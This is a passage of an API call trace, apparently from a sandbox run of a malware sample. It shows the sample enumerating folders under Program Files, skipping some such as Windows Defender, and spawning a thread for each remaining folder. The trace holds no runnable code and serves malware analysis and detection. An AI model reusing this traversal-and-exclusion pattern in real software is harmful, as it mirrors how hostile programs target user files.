_Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.486] wcscat (in: _Dest=0x8d9ad0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.486] wcscat (in: _Dest=0x8d9ad0, _Source="DVD Maker" | out: _Dest="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0139.486] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9ad0) returned 1 [0139.486] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0139.487] wcscmp (_String1="Internet Explorer", _String2=".") returned 1 [0139.487] wcscmp (_String1="Internet Explorer", _String2="..") returned 1 [0139.487] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x46) returned 0x8f90a8 [0139.487] wcscpy (in: _Dest=0x8f90a8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.487] wcscat (in: _Dest=0x8f90a8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.487] wcscat (in: _Dest=0x8f90a8, _Source="Internet Explorer" | out: _Dest="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0139.487] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90a8) returned 1 [0139.487] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0139.487] wcscmp (_String1="Microsoft Analysis Services", _String2=".") returned 1 [0139.487] wcscmp (_String1="Microsoft Analysis Services", _String2="..") returned 1 [0139.487] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x8e5230 [0139.487] wcscpy (in: _Dest=0x8e5230, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.487] wcscat (in: _Dest=0x8e5230, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.487] wcscat (in: _Dest=0x8e5230, _Source="Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0139.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0139.488] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0139.488] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0139.488] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0139.488] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f90a8 [0139.488] wcscpy (in: _Dest=0x8f90a8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.488] wcscat (in: _Dest=0x8f90a8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.488] wcscat (in: _Dest=0x8f90a8, _Source="Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f90a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188 [0139.489] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0139.489] wcscmp (_String1="Microsoft SQL Server Compact Edition", _String2=".") returned 1 [0139.489] wcscmp (_String1="Microsoft SQL Server Compact Edition", _String2="..") returned 1 [0139.489] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8620 [0139.489] wcscpy (in: _Dest=0x8e8620, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.489] wcscat (in: _Dest=0x8e8620, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.489] wcscat (in: _Dest=0x8e8620, _Source="Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0139.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c [0139.490] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0139.490] wcscmp (_String1="Microsoft Sync Framework", _String2=".") returned 1 [0139.490] wcscmp (_String1="Microsoft Sync Framework", _String2="..") returned 1 [0139.490] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ebe78 [0139.490] wcscpy (in: _Dest=0x8ebe78, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.490] wcscat (in: _Dest=0x8ebe78, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.490] wcscat (in: _Dest=0x8ebe78, _Source="Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0139.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ebe78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac [0139.491] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0139.491] wcscmp (_String1="Microsoft Synchronization Services", _String2=".") returned 1 [0139.491] wcscmp (_String1="Microsoft Synchronization Services", _String2="..") returned 1 [0139.491] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0cd8 [0139.491] wcscpy (in: _Dest=0x8f0cd8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.491] wcscat (in: _Dest=0x8f0cd8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.491] wcscat (in: _Dest=0x8f0cd8, _Source="Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0139.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0 [0139.493] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87cf3cc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87cf3cc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0139.493] wcscmp (_String1="MSBuild", _String2=".") returned 1 [0139.493] wcscmp (_String1="MSBuild", _String2="..") returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9ad0 [0139.494] wcscpy (in: _Dest=0x8d9ad0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.495] wcscat (in: _Dest=0x8d9ad0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.495] wcscat (in: _Dest=0x8d9ad0, _Source="MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0139.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0139.496] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0139.496] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1 [0139.496] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1 [0139.496] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e3d40 [0139.496] wcscpy (in: _Dest=0x8e3d40, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.496] wcscat (in: _Dest=0x8e3d40, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.496] wcscat (in: _Dest=0x8e3d40, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0139.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e3d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8 [0139.497] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0139.497] wcscmp (_String1="Uninstall Information", _String2=".") returned 1 [0139.497] wcscmp (_String1="Uninstall Information", _String2="..") returned 1 [0139.497] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3d98 [0139.497] wcscpy (in: _Dest=0x8e3d98, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.497] wcscat (in: _Dest=0x8e3d98, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.497] wcscat (in: _Dest=0x8e3d98, _Source="Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0139.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e3d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0139.498] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0139.498] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0139.498] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0139.498] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f90f8 [0139.498] wcscpy (in: _Dest=0x8f90f8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.498] wcscat (in: _Dest=0x8f90f8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.498] wcscat (in: _Dest=0x8f90f8, _Source="Windows Defender" | out: _Dest="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0139.499] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90f8) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0139.499] wcscmp (_String1="Windows Journal", _String2=".") returned 1 [0139.499] wcscmp (_String1="Windows Journal", _String2="..") returned 1 [0139.499] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f90f8 [0139.499] wcscpy (in: _Dest=0x8f90f8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.499] wcscat (in: _Dest=0x8f90f8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.499] wcscat (in: _Dest=0x8f90f8, _Source="Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0139.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f90f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0139.500] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0139.500] wcscmp (_String1="Windows Mail", _String2=".") returned 1 [0139.500] wcscmp (_String1="Windows Mail", _String2="..") returned 1 [0139.500] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d24b8 [0139.500] wcscpy (in: _Dest=0x8d24b8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.500] wcscat (in: _Dest=0x8d24b8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.500] wcscat (in: _Dest=0x8d24b8, _Source="Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0139.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d24b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4 [0139.501] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0139.501] wcscmp (_String1="Windows Media Player", _String2=".") returned 1 [0139.501] wcscmp (_String1="Windows Media Player", _String2="..") returned 1 [0139.501] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e3df0 [0139.501] wcscpy (in: _Dest=0x8e3df0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.501] wcscat (in: _Dest=0x8e3df0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.501] wcscat (in: _Dest=0x8e3df0, _Source="Windows Media Player" | out: _Dest="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0139.501] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3df0) returned 1 [0139.501] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0139.501] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0139.501] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0139.501] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x38) returned 0x8d9b50 [0139.501] wcscpy (in: _Dest=0x8d9b50, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.502] wcscat (in: _Dest=0x8d9b50, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.502] wcscat (in: _Dest=0x8d9b50, _Source="Windows NT" | out: _Dest="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0139.502] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b50) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0139.502] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1 [0139.502] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1 [0139.502] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e3df0 [0139.502] wcscpy (in: _Dest=0x8e3df0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.502] wcscat (in: _Dest=0x8e3df0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.502] wcscat (in: _Dest=0x8e3df0, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0139.502] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3df0) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0139.502] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1 [0139.502] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1 [0139.502] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ebed8 [0139.502] wcscpy (in: _Dest=0x8ebed8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.502] wcscat (in: _Dest=0x8ebed8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.502] wcscat (in: _Dest=0x8ebed8, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0139.502] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebed8) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0139.502] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1 [0139.502] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1 [0139.502] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f9148 [0139.502] wcscpy (in: _Dest=0x8f9148, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.502] wcscat (in: _Dest=0x8f9148, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.502] wcscat (in: _Dest=0x8f9148, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0139.502] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9148) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0139.502] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0139.503] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.503] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0139.503] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 Thread: id = 1624 os_tid = 0x6a8 [0139.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9b10 [0139.507] wcscpy (in: _Dest=0x8d9b10, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.507] wcscat (in: _Dest=0x8d9b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.507] wcscat (in: _Dest=0x8d9b10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\*") returned="C:\\Program Files (x86)\\*" [0139.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.507] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.507] wcscmp (_String1=".", _String2=".") returned 0 [0139.507] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.507] wcscmp (_String1="..", _String2=".") returned 1 [0139.507] wcscmp (_String1="..", _String2="..") returned 0 [0139.507] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: 